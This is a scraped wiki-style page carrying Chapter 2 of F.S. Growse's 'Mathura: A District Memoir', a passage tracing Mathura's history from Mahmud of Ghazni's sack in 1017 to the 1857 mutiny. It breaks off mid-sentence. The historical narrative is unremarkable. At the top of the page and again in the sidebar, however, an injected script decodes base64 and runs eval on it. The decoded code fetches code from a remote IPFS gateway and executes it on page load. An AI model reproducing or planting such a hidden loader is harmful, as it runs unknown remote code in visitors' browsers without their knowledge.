Mathura A District Memoir Chapter-2

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<sidebar> सुस्वागतम् mainpage|मुखपृष्ठ ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल विशेष:Contact|संपर्क समस्त श्रेणियाँ|समस्त श्रेणियाँ SEARCH LANGUAGES __NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> Mathura A District Memoir Mathura A District Memoir Chapter-1|Chapter-1 Mathura A District Memoir Chapter-2|Chapter-2 Mathura A District Memoir Chapter-3|Chapter-3 Mathura A District Memoir Chapter-4|Chapter-4 Mathura A District Memoir Chapter-5|Chapter-5 Mathura A District Memoir Chapter-6|Chapter-6 Mathura A District Memoir Chapter-7|Chapter-7 Mathura A District Memoir Chapter-8|Chapter-8 Mathura A District Memoir Chapter-9|Chapter-9 Mathura A District Memoir Chapter-10|Chapter-10 Mathura A District Memoir Chapter-11|Chapter-11 Mathura A District Memoir Chapter-12|Chapter-12 Mathura A District Memoir Chapter-13|Chapter-13 </sidebar>

Mathura A District Memoir By F.S.Growse Chapter-1 Chapter-2 Chapter-3 Chapter-4 Chapter-5 Chapter-6 Chapter-7 Chapter-8 Chapter-9 Chapter-10 Chapter-11 Chapter-12 Chapter-13

MATHURA’ SACKED BY MAHMUD OF GHAZNI, 1017 A.D. ITS TREATMENT BY THE DELHI EMPERORS. RISE AND PROGRESS OF THE JAT POWER. MASSACRE AT MATHURA’, 1757. BATTLE OF BARSANA, 1775. EXECUTION OF GHULAM KADIR, 1788. BRITISH OCCUPATION, 1803. BATTLE OF DIG, 1804. MUTINY, 1857

APART from inscriptions and other fragmentary archeological vestiges of its ancient glory, the first authentic contemporary record of Mathura that we find in existing literature is dated the year 1017 A.D., when it was sacked by Mahmud of Ghazni in his ninth invasion of India. The original source of information respecting Mahmud's campaigns is the Tarikh Yamini of Al Utbi, who was himself secretary to the Sultan, though he did not accompany him in his expeditions. He mentions by name neither Mathura nor Maha-ban, but only describes certain localities, which have been so identified by Firishta and later historians. The place supposed to be Maha-ban he calls “the Fort of Kulchand," a Raja, who (he writes) “was, not without good reason, confident in his strength, for no one had fought against him and not been defeated. He had vast territories, enormous wealth, a numerous and brave army, huge ele phants, and strong forts that no enemy had been able to reduce. When he saw that the Sultan advanced against him, he drew up his army and elephants in a 'deep forest' ready for action. But finding every attempt to repulse the invaders fail, the beleaguered infidels at last quitted the fort and tried to cross the broad river which flowed in its rear. When some 50,000 men had been killed or drowned, Kulchand took a dagger, with which he first slew his wife and then drove it into his own body. The Sultan obtained by this victory 185 fine elephants besides other booty." In the neighbouring holy city, identified as Mathura, " he saw a building of exquisite structure, which the inhabitants declared to be the handiwork not of men but of Genii .The town wall was constructed of solid stone, and had opening on to the river two gates, raised on high and massive basements to protect them from the floods. On the two sides of the city were thousands of houses with idol temples attached, all of masonry and strengthened with bars of iron ; and opposite them were other buildings supported on stout wooden pillars. In the middle of the city was a temple, larger and finer than the rest, to which neither painting nor description could do justice. The Sultan thus wrote respecting it :—' If any one wished to construct a building equal to it, he would not be able to do so without expend ing a hundred million dinars, and the work would occupy two hundred years, even though the most able and experienced workmen were employed.' Orders were given that all the temples should be burnt with naphtha and fire and levelled with the ground." The city was given up to plunder for twenty days. Among the spoil are said to have been five great idols of pure gold with eyes of rubies and adornments of other precious stones, together with a vast number of smaller silver images, which, when broken up, formed a load for more than a hundred camels. The total value of the spoil has been estimated at three millions of rupees; while the number of Hindus carried away into captivity exceeded 5,000.

Nizam-ud-din, Firishta, and the other late Muhammadan historians take for granted that Mathura was at that time an exclusively Brahmanical city. It is possible that such was really the case ; but the original authorities leave the point open, and speak only in general terms of idolaters, a name equally appli cable to Buddhists. Many of the temples, after being gutted of all their valu able contents, were left standing, probably because they were too massive to admit of easy destruction. Some writers allege that the conqueror spared them on account of their exceeding beauty, founding this opinion on the eulogistic expressions employed by Mahmud in his letter to the Governor of Ghazni quoted above. It is also stated that, on his return home, he introduced the Indian style of architecture at his own capital, where he erected a splendid mosque, upon which he bestowed the name of ' the Celestial Bride.' But, however much he may have admired the magnificence of Mathura, it is clear that he was influ enced by other motives than admiration in sparing the fabric of the temples; for the gold and silver images, which he did not hesitate to demolish, must have been of still more excellent workmanship.

During the period of Muhammadan supremacy, the history of Mathura is almost a total blank. The natural dislike of the ruling power to be brought into close personal connection with such a centre of superstition divested the town of all political importance ; while the Hindu pilgrims, who still continued to frequent its impoverished shrines, were not invited to present, as the priests were not anxious to receive, any lavish donation which would only excite the jealousy of the rival faith. Thus, while there are abundant remains of the earlier Buddhist period, there is not a single building, nor fragment of a building, which can be assigned to any year in the long interval between the invasion of Mahmud in 1017 A.D. and the reign of Akbar in the latter half of the sixteenth century ; and it is only from the day when the Jats and Mahrattas began to be the virtual sovereigns of the country that any continuous series of monumental records exists.

Nor can this be wondered at, since whenever the unfortunate city did attract the Emperor's notice, it became at once a mark for pillage and desecra tion : and the more religious the sovereign, the more thorough the persecution. Take for example the following passage from the Tarikh-i-Daudi of Abdullah (a writer in the reign of Jahangir), who is speaking of Sultan. Sikandar Lodi (1488—1516 A.D.), one of the most able and accomplished of all the occupants of the Delhi throne : " He was so zealous a Musalman that he utterly destroyed many places of worship of the infidels, and left not a single vestige remaining of them. He entirely ruined the shrines of Mathura, that mine of heathenism, and turned their principal temples into saraes and colleges. Their stone images were given to the butchers to serve them as meat-weights, and all the Hindus in Mathura were strictly prohibited from shaving their heads and beards and performing their ablutions. He thus put an end to all the idolatrous rites of the infidels there ; and no Hindu, if he wished to have his head or beard shaved, could get a barber to do it." In confirmation of the truth of this nar rative, it may be observed that when the Muhammadan Governor Abd-un-Nabi, in 1661, built his great mosque as a first step towards the construction of the new city, of which he is virtually the founder, the ground which he selected for the purpose and which was unquestionably an old temple site, had to be purchased from the butchers.

During the glorious reign of Akbar, the one bright era in the dreary annals of Imperial misrule, there was full toleration at Mathura as in all other parts of his dominions. Of this an illustration is afforded by the following incident, which is narrated by Badauni : Among the persons held in high favour at the Court was a Shaikh, by name Abd-un-Nabi, occupied the distinguished position of Sadr-us-Sadur. A complaint was made to him by Kazi Abd-ur-Rahim of Mathura that a wealthy Brahman had appropriated some materials that had been collected for the building of a mosque, and not only used them in the construction of a temple, but, when remonstrated with, had, in the presence of a crowd of people, foully abused the Prophet and all his followers. The Brahman, when summoned to answer the charge, refused to come ; whereupon Ab-ul-Fazl was sent to fetch him, and on his return re-ported that all the people of Mathura agreed in declaring that the Brahman had used abusive language. The doctors of the law accordingly gave it as their opinion—some that he should be put to death, others that he should be publicly disgraced and fined. The Shaikh was in favour of the capital punish ment, and applied to the Emperor to have the sentence confirmed ; but the latter would give no definite reply, and remarked that the Shaikh was respon sible for the execution of the law and need not apply to him. The Brahman meanwhile was kept in prison, the Hindu ladies of the royal household using every endeavour to get him released, while the Emperor, out of regard for the Shaikh, hesitated about yielding to them. At last Abd-un-Nabi, after failing to elicit any definite instructions, returned home and issued orders for the Brahman's execution. When the news reached the Emperor, he was very angry, and though he allowed Abd-un-Nabi to retain his post till his death, which occurred in 1583, he never took him into favour again.

Jahangir, on his accession to the throne, continued to some extent his father's policy of religious tolerance; but in the following reign of Shahjahan, we find Murshid Ali Khan, in the year 1636, made a commander of 2,000 horse, and appointed by the Emperor Governor of Mathura and Maha-ban, with express instructions to be zealous in stamping out all rebellion and idolatry. The climax of wanton destruction was, however, attained by Aurang zeb, the Oliver Cromwell of India, who, not content with demolishing the most sacred of its shrines, thought also to destroy even the ancient name of the city by substituting for it Islampur or Islamabad.

Mathura was casually connected with two important events in this Empe ror's life. Here was born, in 1639, his eldest son, Muhammad Sultan, who expiated the sin of primogeniture in the Oriental fashion by ending his days in a dungeon, as one of the first acts of his father, on his accession to the throne, was to confine him in the fortress of Gwaliar, where he died in 1665. In the last year of the reign of Shahjahan, Aurangzeb was again at Mathura, and here established his pretensions to the crown by compassing the death of his brother Murad. This was in 1658, a few days after the momentous battle of Samogarh, in which the combined forces of the two princes had routed the army of the rightful heir, Dara. The conquerors encamped together, being apparently on the most cordial and affectionate terms ; and Aurangzeb, protesting that for himself he desired only some sequestered spot where, un harrassed by the toils of government, he might pass his time in prayer and religions meditation, persistently addressed Murad by the royal title as the recognized successor of Shahjahan. The evening was spent at the banquet ; and when the wine cup had begun to circulate freely, the pious Aurangzeb, feigning religious scruples, begged permission to retire. It would have been well for Murad had be also regarded the prohibition of the Kuran. The stupor of intoxication soon overpowered him, and he was only restored to consciousness by a contemptuous kick from the foot of the brother who had just declared himself his faithful vassal. That same night the unfortunate Murad, heavily fettered, was sent a prisoner to Delhi and thrown into the fortress of Salim-garh .He,too,was subsequently removed to Gwaliar and there murdered.

In spite of the agreeable reminiscences which a man of Aurangzeb's temperament must have cherished in connection with a place where an act of such unnatural perfidy had been successfully accomplished, his fanaticism was not a whit mitigated in favour of the city of Mathura. In 1668, a local rebellion afforded him a fit pretext for a crusade against Hinduism. The insurgents had mustered at Sahoraread) a village in the Maha-ban pargana, where (as we learn from the Maásiri-i-Alamgiri) the Governor Abd-un-Nabi advanced to meet them. " He was at first victorious, and succeeded in killing the ringleaders ; but in the middle of the fight he was struck by a bullet, and died the death of a martyr." It was he who, in the year 1661, had founded the Jama Masjid, which still remains, and is the most conspicuous building in the city which has grown up around it. He was followed in office by Saff-Shikan Khan ; but as he was not able to suppress the revolt, which began to assume formidable dimensions, he was removed at the end of the year 1669, and Hasan Ali Khan appointed Faujdar in his place. The ringleader of the disturbances, a Jat, by name Kokila, who had plundered the Sa'dabad pargana, and was regarded as the instrument of Abd-un-Nabi's death, fell into the hands of the new Governor's Deputy, Shaikh Razi-ud-din, and was sent to Agra and there executed. A few months earlier, in February of the same year, during the fast of Ramazan, the time when religious bigotry would be most inflamed, Aurangzeb had descended in person on Mathura. The temple specially marked out for destruction was one built so recently as the reign of Jahangir, at a cost of thirty-three lakhs, by Bir Sinh Deva, Bundela, of Urcha. Beyond all doubt this was the last of the famous shrines of Kesava Deva, of which further mention will be made hereafter. To judge from the language of the author of the Maasir, its demolition was regarded as a death-blow to Hinduism. He writes in the following triumphant strain :—" In a short time, with the help of numerous workmen, this seat of error was utterly broken down. Glory be to God that so difficult an undertaking has been successfully accomplished in the present auspicious reign, wherein so many dens of heathenism and idolatry have been destroyed! Seeing the power of Islam and the efficacy of true religion, the proud Rajas felt their breath burning in their throats and became as dumb as a picture on a wall. The idols, large and small alike, all adorned with costly jewels, were carried away from the heathen shrine and taken to Agra, where they were buried under the steps of Nawab Kudsia Begam's mosque, so that people might trample upon them forever." It was from this event that Mathura was called Islamabad.

In 1707 Aurangzeb died, and shortly after began the rule of the Jats of Bharat-pur.

The founder of this royal house was a robber chief, by name Chura-mani, who built two petty forts in the villages of Than and Sinsini, a little south of Dig, from which he organized marauding expeditions, and even ventured to harass the rear of the imperial army on the occasion of Aurangzeb's expedition to the Dakhin. This statement is contradicted by Thornton in his Gazetteer, under the word Bharat-pur ; but his reasons for doing so are not very conclu sive. He writes :—" Chura-mani did not become the leader of the Jats until after the death of Aurangzeb. Besides, the scene of the operations of the Jats was widely remote from that of the disasters of Aurangzeb, which occurred near Ahmad-nagar. According to the Sair-i-Muta-akhkhirin, during the struggle between Aurangzeb's sons, 'Azam and Muazzim, Chura-mani beset the camp of the latter for the purpose of plunder." This correction, if it really is one, is so alight as to be absolutely immaterial ; the army, which was led into the Dakhin by Aurangzeb, was brought back by 'Azam after the Emperor's decease, and both father and son died within four months of each other.

A little later, Jay Sinh of Amber was commissioned by the two Saiyids, then in power at Delhi, to reduce the Jat freebooters. He invested their two strongholds, but could not succeed in making any impression upon them, and accordingly retired : only, however, to return almost immediately ; this time bringing with him a larger army, and also a local informant in the person of Badan Sinh, a younger brother of Chura-mani's, who, in consequence of some family feud, had been placed in confinement, from which he had contrived to escape and make his way to Jaypur. Thus was then (1712 A.D.) again invested, and after a siege of six months taken and its fortifications demolished. Chura-mani and his son Muhkam fled the country, and Badan Sinh was formally proclaimed at Dig as leader of the Jats, with the title of Thakur. He is chiefly commemorated in the Mathura district by the handsome mansion he built for himself at Sahar. This appears to have been his favour ite residence in the latter years of his life. Adjoining it is a very large tank, of which one side is faced with stone and the rest left unfinished, the work having probably been interrupted by his death. The house was occupied as a tahsili under the English Government till the mutiny, when all the records were transferred for greater safety to Chhata, which has ever since continued the head of the pargana, and the house at Sahar is now unoccupied and falling into ruin. He married into a family seated at Kamar, near Kosi, where also is a large masonry tank, and in connection with it a walled garden containing three Chhattris in memory of Chaudhri Maha Ram, Jat, and his wife and child. The Chaudhri was the Thakurani's brother, and it appears that her kinsmen were people of some wealth and importance, as the Castle Hill at Kamar is still crowned with several considerable edifices of brick and stone where they once resided.

For some years before his death, Thakur Badan Sinh had retired alto gether from public life. To one of his younger sons, by name Pratap Sinh, he had especially assigned the newly erected fort at Wayar, south-. west of Bharat-pur, with the adjoining district, while the remainder of the Jat principality was administered by the eldest son, Suraj Mall. On his father's death, Suraj Mall assumed the title of Raja and fixed his capital at Bharat-pur, from which place he had ejected the previous governor, a kinsman, by name Khema. The matrimonial alliances which he contracted indicate his inferiority to the Rajput princes of the adjoining territories, for one of his wives was a Kurmin, another a Malin, and the remainder of his own caste, Jatnis. Yet, even at the commencement of his rule, he had achieved a conspicuous position, since, in 1748, we find him accepting the invitation of the Emperor Ahmad Shah to join with Holkar, under the general command of the Vazir, Safdar Jang, in suppressing the revolt of the Rohillas. In the subsequent dis pute that arose between Safdar Jang and Ghazi-ud-din, the grandson of the old Nizam, the former fell into open rebellion and called in the assistance of the Jats, while his rival had recourse to the Mahrattas. Safdar, seeing the coalition against him too strong, withdrew to his vice-royalty of Audh, leaving Suraj Mall to bear alone the brunt of the battle. Bharat-pur was besieged, but had not been invested many days when Ghazi-ud-din, suspecting a secret understanding between his nominal allies, the Mahrattas and the Emperor, dis continued his operations against the Jats and returned hastily to Delhi, where be deposed Ahmad Shah and raised Alamgir IL to the throne in his stead. This was in 1754.

Three years later, when the army of Ahmad Shah Durban from Kan dahar appeared before Delhi, Ghazi-ud-din, by whose indiscretion the invasion had been provoked, was admitted to pardon, in consideration of the heavy tri bute which he undertook to collect from the Doab. Sardar Jahan Khan was despatched on a like errand into the Jut territory ; but finding little to be gained there, as the entire populace had withdrawn into their numerous petty fortresses and his foraging parties were cut off by their sudden sallies, he fell back upon the city of Mathura, which he not only plundered of all its wealth, but further visited with a wholesale massacre of the inhabitants.

In the second invasion of the Durban, consequent upon the assassination of the Emperor Alamgir II. in 1759, the infamous Ghazi-ud-din again appeared at the gates of Bharat-pur ; this time not with a hostile army, but as a suppliant for protection. By his unnatural persuasions a powerful Hindu confederacy was formed to oppose the progress of the Muhammadan, but was scattered for ever in the great battle of Panipat, in January, 1761, when the dreams of Mahratta supremacy were finally dissolved. Suraj Mall, foreseeing the inevitable result, withdrew his forces before the battle, and falling unex pectedly upon Agra, ejected from it the garrison of his late allies and adopted it as his own favourite residence. Meanwhile, Shah Alam was recognized by the Durani as the rightful heir to the throne, but continued to hold his poor semblance of a Court at Allahabad ; and, at Delhi, his son Mirza Jawan Bakht was placed in nominal charge of the Government under the active protectorate of the Rohilla, Najib-ud-daula. With this administrator of imperial power, Suraj Mall, emboldened by past success, now essayed to try his strength. He put forth a claim to the Faujdarship of Farrnkh-nagar; and when the envoy, sent from Delhi to confer with him on the subject, demurred to the transfer, he dismissed him most unceremoniously and at once advanced with an army to Shahdara on the Hindan, only six miles from the capital. Here, in bravado, he was amusing himself in the chase, accompanied by only his personal retinue, when he was surprised by a flying squadron of the enemy and put to death. His army coming leisurely up behind, under the command of his son Jawahir Sinh, was charged by the Mughals, bearing the head of Suraj Mall on a horse-man's lance as their standard, the first indication to the son of his father's death. The shock was too much for the Jats, who were put to flight, but still continued for three months hovering about Delhi in concert with Holkar. This was in 1764.

In spite of this temporary discomfiture, the Jats were now at the zenith of their power ; and Jawahir had not been a year on the throne when he re-solved to provoke a quarrel with the Raja of Jaypur. Accordingly, without any previous intimation, he marched his troops through Jaypur territory with the ostensible design of visiting the holy lake of Pushkara. There his vanity was gratified by the sovereign of Marwar, Raja Bijay Sinh, who met him on terms of brotherly equality ; but he received warning from Jaypur that if he passed through Amber territory on his return, it would be considered a hostile aggression. As this was no more than he expected, he paid no regard to the caution. A desperate conflict ensued on his homeward route (1765 A.D.), which resulted in the victory of the Kachhwahas, but a victory accom panied with the death of almost every chieftain of note. Soon after, Jawahir Sinh was murdered at Agra, at the instigation, as is supposed, of the Jaypur Raja.

Suraj Mall had left five sons, viz., Jawahir Sinh, Ratn Sinh, Naval Sinh, and Ranjit Sinh, and also an adopted son, Hardeva Bakhsh, whom he is said to have picked up in the woods one day when hunting. On the death of Jawahir, Ratn succeeded, but his rule was of very short duration. A pretended alchemist from Brinda-ban had obtained large sums of money from the credulous prince to prepare a process for the transmutation of the meaner metals into gold. When the day for the crucial experiment arrived and detec tion had become inevitable, he assassinated his victim and fled.

His brother, Naval Sinh, succeeded, nominally as guardian for his infant nephew, Kesari, but virtually as Raja. The Mahrattas had now (1768) reco vered from the disastrous battle of Panipat, and, re-asserting their old claim to tribute, invaded first Jaypur and then Bharat-pur, and mulcted both territo ries in a very considerable sum. They then entered into an understanding with the Delhi Government which resulted in the restoration of Shah Alam to his ancestral capital. But as the only line of policy which they consistently maintained was the fomentation of perpetual quarrels, by which the strength of all parties in the State might be exhausted, they never remained long faith ful to one side , and, in the year 1772, we find them fighting with the Jats against the Imperialists. Naval Sinh, or, according to some accounts, his brother and successor, Ranjit Sinh, laid claim to the fort of Ballabhgarh held by another Jat chieftain. The latter applied to Delhi for help and a force was despatched for his relief ; but it was too weak to resist the combined armies of Sindhia and Bharat-pur, and was driven back in disorder. The Mahrattas then pushed on to Delhi ; but finding the Commander-in-Chief, Niyaz Khan, ready to receive them, they, with incomparable versatility, at once made terms with him and even joined him in an expedition to Rohilkhand.

Meanwhile, the Jats, thus lightly deserted, espoused the cause of Najaf's unsuccessful rival, Zabita Khan. But this was a most ill-judged move on their part : their troops were not only repulsed before Delhi, but their garrison was also ejected from Agra, which they had held for the last 13 years since its occupation by Suraj Mall after the battle of Panipat in 1761. From Agra the vazir Najaf Khan hastily returned in the direction of the capital, and found Ranjit Sinh and the Jats encamped near Hodal. Dislodged from this position, they fell back upon Kot-ban and Kosi, which they occupied for nearly a fort-night, and then finally withdrew towards Dig ; but at Barsana were overtaken by the Vazir and a pitched battle ensued. The Jat infantry, 5,000 strong, were commanded by Sumroo, or, to give him his proper name, Walter Reinhard, al adventurer who had first taken service under Ranjit's father, Suraj Mall. The ranks of the Imperialists were broken by his impetuous attack, and the Jats feeling assured of victory, were following in reckless disorder, when the enemy rallied from their sudden panic, turned upon their pursuers, who were too scattered to offer any solid resistance, and effectually routed them. They contrived, however, to secure a-retreat to Dig while the town of Barsana, which was then a very wealthy place, was given over to plunder, and several of the stately mansions recently erected almost destroyed in the search for hidden treasure.Dig was not reduced till March of the following year, 1776, the garrison escap ing to the neighbouring castle of Kumbhir. The value of the spoil taken is said to have amounted to six lakhs of rupees. The whole of the country also was reduced to subjection, and it was only at the intercession of the Rani Kishori, the widow of Suraj Mall, that the conqueror allowed Ranjit Sinh to retain the fort of Bharat-pur with an extent of territory yielding an annual income of nine lakhs.

In 1782, the great minister, Najaf Khan, died ; and in 1786 Sindhia, who had been recognized as his successor in the administration of the empire, proceeded to demand arrears of tribute from the Rujputs of Jaypur. His claim was partly satisfied ; but finding that he persisted in exacting the full amount, the Rajas of Jaypur, Jodh-pur, and Uday-pur, joined by other minor chiefs, organized a formidable combination against him. The armies met at Lalsot, and a battle ensued which extended over three days, but without any decisive result, till some 14,000 of Sindhia's infantry, who were in arrears of pay, went over to the enemy. In consequence of this defection, the Mahrattas fell back upon the Jats and secured the alliance of Ranjit Sinh by the restoration of Dig, which had been held by the Emperor since its capture by Najaf Khan in 1776, and by the cession of eleven parganas yielding a revenue of ten Iakhs of rupees. The main object of the new allies was to raise the siege of Agra, which was then being invested by Ismail Beg, the Imperial captain, in concert with Zabita Khan's son, the infamous Ghulam Kadir. In a battle that took place near Fatihpur Sikri, the Jats and Mahrattas met a repulse, and were driven back upon Bharat-pur ; but later in the same year 1788, being reinforced by troops from the Dakkhin under Rana Khan, a brother of the officer in command of the besieged garrison, they finally raised the blockade, and the province of Agra again acknowledged Sindhia as its master.

Ghulam Kadir had previously removed to Delhi and was endeavouring to persuade the Emperor to break off intercourse with the Mahrattas. Failing in this, he dropped all disguise and commenced firing upon the palace, and having in a few days taken possession of the city, he indulged in the most brutal excesses, and after insulting and torturing his miserable and defenceless sovereign in every conceivable way, completed the tragedy by, at last, with his own dagger, robbing him of his eye-sight. Sindhia, who had before been urgently summoned from Mathura, one of his favourite residences, on hearing of these horrors, sent a force to the relief of the city. Ghulam Kadir, whose atrocities had disgusted all his adherents, fled to Merath, and endeavouring to escape from there at night alone on horseback, fell into a well from which he was unable to extricate himself. There he was found on the following morn ing by a Brahman peasant by name Bhikha, who had him seized and taken to the Mahratta camp. Thence he was despatched to Sindhia at Mathura, who first sent him, through the bazar on an ass with his head to the tail, and then had him mutilated of all his members one by one, his tongue being first torn out, and then his eyes, and subsequently his nose, ears and hands cut off. In this horrible condition he was despatched to Delhi ; but to anticipate his death from exhaustion, which seemed imminent, he was hanged on a tree by the road-side. It is said that his barbarous treatment of the Emperor, for which he suffered such a condign penalty, was in revenge for an injury inflicted upon him when a handsome child by Shah Alam, who converted him into a haram page.

It was in 1803 that Mathura passed under British rule and became a mili tary station on the line of frontier, which was then definitely extended to the Jamuna. This was at the termination of the successful war with Daulat Rao Sindhia; when the independent French State, that had been established by Perron, and was beginning to assume formidable dimensions, had been extin guished by the fall of Aligarh ; while the protectorate of the nominal sovereign of Delhi, transferred by the submission of the capital, invested the administra tion of the Company with the prestige of Imperial sanction. At the same time a treaty was concluded with Ranjit Sinh, who with 5,000 horse had joined General Lake at Agra and thereby contributed to Sindhia's defeat. In return for this service he received a part of the districts of Kishangarh, Katháwar, Bewári, Gokul and Sahar.

In September of the following year Mathura was held for a few days by the troops of Holkar Jasavant Rao ; but on the arrival of reinforcements from Agra, was re-occupied by the British finally and permanently. Meanwhile, Holkar had advanced upon Delhi, but the defence was so gallantly conducted by Ochterlony that the assault was a signal failure. His army broke up into two divisions, one of which was pursued to the neighbourhood of Farrukhabad, and there totally dispersed by General Lake ; while the other was overtaken by General Fraser between Dig and Gobardhan and defeated with great slaughter. In this latter engagement the brilliant victory was purchased by the death of the officer in command, who was brought into Mathura fatally wounded, and survived only a few days. He was buried in the Cantonment Cemetery, where a monument is erected to his memory with the following inseription:-

“Sacred to the memory of Major-General Henry Fraser,of his Majesty’s 11th Regiment of Foot,who commanded the ‘British Army at the battel of Deig on the 13th of November,1804,and by this judgement and valour achieved an important and glorious victory.He died in consequence of a wound he received when leading on the troops,and was interred here on the 25th of November,1804,in the 40th year of his age.The army lament loss with the deepest sorrow,his country regards his heroic conduct with grateful admiration;history will record his fame and perpetuate the glory of his deeds.”

Holkar, who had fled for refuge to the fort of Bharat-pur, was pursued by General Lake and his surrender demanded; but Ranjit refused to give him up. The fort was thereupon besieged ; Ranjit made a memorable defence, and repelled four assaults with a loss to the besiegers of 3,000 men, but finally made overtures for peace, which were accepted on the 4th of May, 1805. A new treaty was concluded, by which he agreed to pay an indemnity of twenty lakhs of rupees, seven of which were subsequently remitted, and was guaran teed in the territories which he held previously to the accession of the British Government. The parganas granted to him in 1803 were resumed.

Ranjit died that same year, leaving four sons,—Randhir, Baladeva, Harideva, and Lachhman. He was succeeded by the eldest, Randhir,. who died in 1822, leaving the throne to his brother, Baladeva. After a rule of about 18 months he died, leaving a son, Balavant, then six years of age. He was recognized by the British Government, but his cousin, Durjan Sal, who had also advanced claims to the succession on Randhir's death, rose up against him and had him cast into prison. Sir David Ochterlony, the Resident at Delhi, promptly moved out a force in support of the rightful heir, but their march was stopped by a peremptory order from Lord Amherst, who, in accordance with the disastrous policy of non-interference which was then in vogue, considered that the recognition of the heir-apparent during the life of his father did not impose on the Government any obligation to maintain him in opposition to the presumed wishes of the chiefs and people. Vast prepara tions were made, with the secret support of the neighbouring Rajput and Mahratta States, and at last, when the excitement threatened a protracted war, the Governor-General reluctantly confirmed the eloquent representations of Sir Charles Metcalfe and consented to the deposition of the usurper. After a siege that extended over nearly six weeks, Bharat-pur was stormed by Lord Combermere on the 18th of January, 1826. Durjan Sal was taken prisoner to Allahabad, and the young Maharaja established on the throne under the regency of his mother and the superintendence of a political agent. He died in 1853 and was succeeded by his only son, Jasavant Singh, the present sovereign, who enjoys a revenue of about Rs. 21,00,000 derived from a territory of 1,974 square miles in extent, with a population of 650,000.

With 1804 began a period of undisturbed peace and rapid growth of pros perity for the city of Mathura, which in 1832 was made the capital of a new district, then formed out of parts of the old districts of Agra and Sa'dabad ; nor does any event claim notice till we come down to the year 1857. It was on the 14th of May in that eventful year that news arrived of the mutiny at Merath. Mr. Mark Thornhill, who was then Magistrate and Collector of the district, with Ghulam Husain as Deputy Collector, sent an immediate requisition for aid to Bharat-pur. Captain Nixon, the political agent, accompanied by Chaudhari Ratn Sinh, chief of the five Sardars, and Gobardhan Sinh, the Faujdar, came with a small force to Kosi on the northern border of the district and there stayed for a time in readiness to check the approach of the Mewaris of Gurgaon and the other rebels from Delhi. Mr. Thornhill had meanwhile removed to Chhata, a small town on the high-road some eight miles short of Kosi, as being a place which was at once a centre of disaffection, and at the same time possessed in its fortified sarae a stronghold capable of long resistance against it. The first outbreak, however, was at Mathura itself. The sum of money then in the district treasury amounted to rather more than 5.5 lakhs, and arrangements had been made for its despatch to Agra, with the exception of one lakh kept in reserve for local requirements. The escort consisted of a company of soldiers from the cantonments, supported by another company which had come over from Agra for the purpose .The chests were being put on the carts, when one of the subadars suddenly called out ‘hoshiyar, sipáhi,' look alive, my man,' which was evidently a preconcerted signal ; and at once a shot was fired, which killed Lieutenant Burlton, commandant of the escort, dead on the spot . The rebels than seized the treasure, together with the pri vate effects of the residents in the station, which were also ready to be transported to Agra, and went off in a body to the Magistrate's Court-house, which they set on fire, destroying all the records, and then took the road to Delhi. But first they broke open the jail and carried all the prisoners with them as far as the city, where they got smiths to strike off their fetters. Besides Lieutenant Burlton, one of the treasury officials also was killed. An attempt was made to check the rebel body as it marched through Chhata, but it was quite ineffectual, and on the 31st of May they entered the town of Kosi. There, after burning down the Customs bungalow and pillaging the police-station, they proceeded to plunder the tahsili. But some Rs. 150 was all they could find in the treasury, and most of the records also escaped them. The townspeople and most of the adjoining villages remained well-affected to the Government and subsequently, as a reward, one year's revenue demand was remitted and a grant of Rs. 50 made to each headman. Mr. Thornhill and the other Europeans with him now determined to abandon their position at Chhata and return to Mathura, where they took refuge in the city in the house of Seth Lakhmi Chand. While there a report came that the Jats had set up a Raja, one Devi Sinh, at Raya, on the other side of the Jamuna. His reign was of no long continuance, for the Kota Contingent, which happened to be on the spot at the time, seized and hanged him with little ceremony. But as soon as this was accomplished, they them-selves mutinied ; and Mr. Thornhill, who had accompanied them to Raya, had to make a hasty flight back to Mathura, bringing some small treasure in the buggy with him.

On the 6th of July, the mutineers of Morar and Nimach, on their retreat from Agra, entered the city. In anticipation of their arrival, Mr. Thornhill, disguised as a native and accompanied by a trusty jamadar, Dilawar Khan, started to flee to Agra. When they reached Aurangabad, only some four miles on the way, they found the whole country on both sides of the road in the possession of the rebels. The men whom the Seth had despatched as an escort took fright and decamped ; but the jamadar, by his adroit answers to all enquiries, was enabled to divert suspicion and bring Mr. Thornhill safely through to Agra. On the suppression of the disturbances, he received, as a reward for his loyalty, a small piece of land on the Brinda-ban road, just out-side Mathura, called after the name of a Bairagi who had once lived there, Dudhadhari. Though the rebels stayed two days in Mathura before they passed on to Delhi, the city was not given up to general plunder, partly in consequence of the prudent management of Seth Mangi lal, who levied a contribution, accord ing to their means, on all the principal inhabitants. At this time Seth Lakh mi Chand was at Dig, but the greater part of his establishment remained behind and rendered Government the most valuable assistance by the des-patch of intelligence. Order in the city was chiefly maintained by Mir Imdad Ali Khan, tahsildár of Kosi, who had been specially appointed Deputy Collector.

On the 26th of September, the rebels, in their retreat from Delhi, again passed through Mathura. Their stay on this occasion lasted for a week, and great oppression was practised on the inhabitants, both here and in the neigh bouring town of Brinda-ban. They were only diverted from general pillage by the influence of one of their own leaders, a subadar from Nimach, by name Hira Sinh, who prevailed upon them to spare the Holy City. For a few days there was a show of regular government ; some of the chief officers in the Collector's court, such as the Sadr Kanungo, Rahmat-ullah, the Sarishtadar, Manohar Lal, and Wazir Ali, one of the muharrirs, were taken by force and compelled to issue the orders of the new administrators ; while Maulvi Karámat All was proclaimed in the Jama Masjid as the Viceroy of the Delhi Emperor. It would seem that he also was an involuntary tool in their hands, as he was subsequently put on his trial, but acquitted. He is since dead. It is said that during their stay in the city the rebels found their most obliging friends among the Mathuriya Chaubes, who, perhaps, more than any others, have grown rich and fat under the tolerance of British rule. After threatening Brinda-ban with their cannon and levying a contribution on the inhabitants, they moved away to Hathras and Bareli. Mir Imdad Ali and the Seth returned from Bharat-pur; and in October Mr. Thornhill arrived from Agra with a company of troops, which in the following month he marched up to Chhata. There the rebel zamindars had taken possession of the fortified 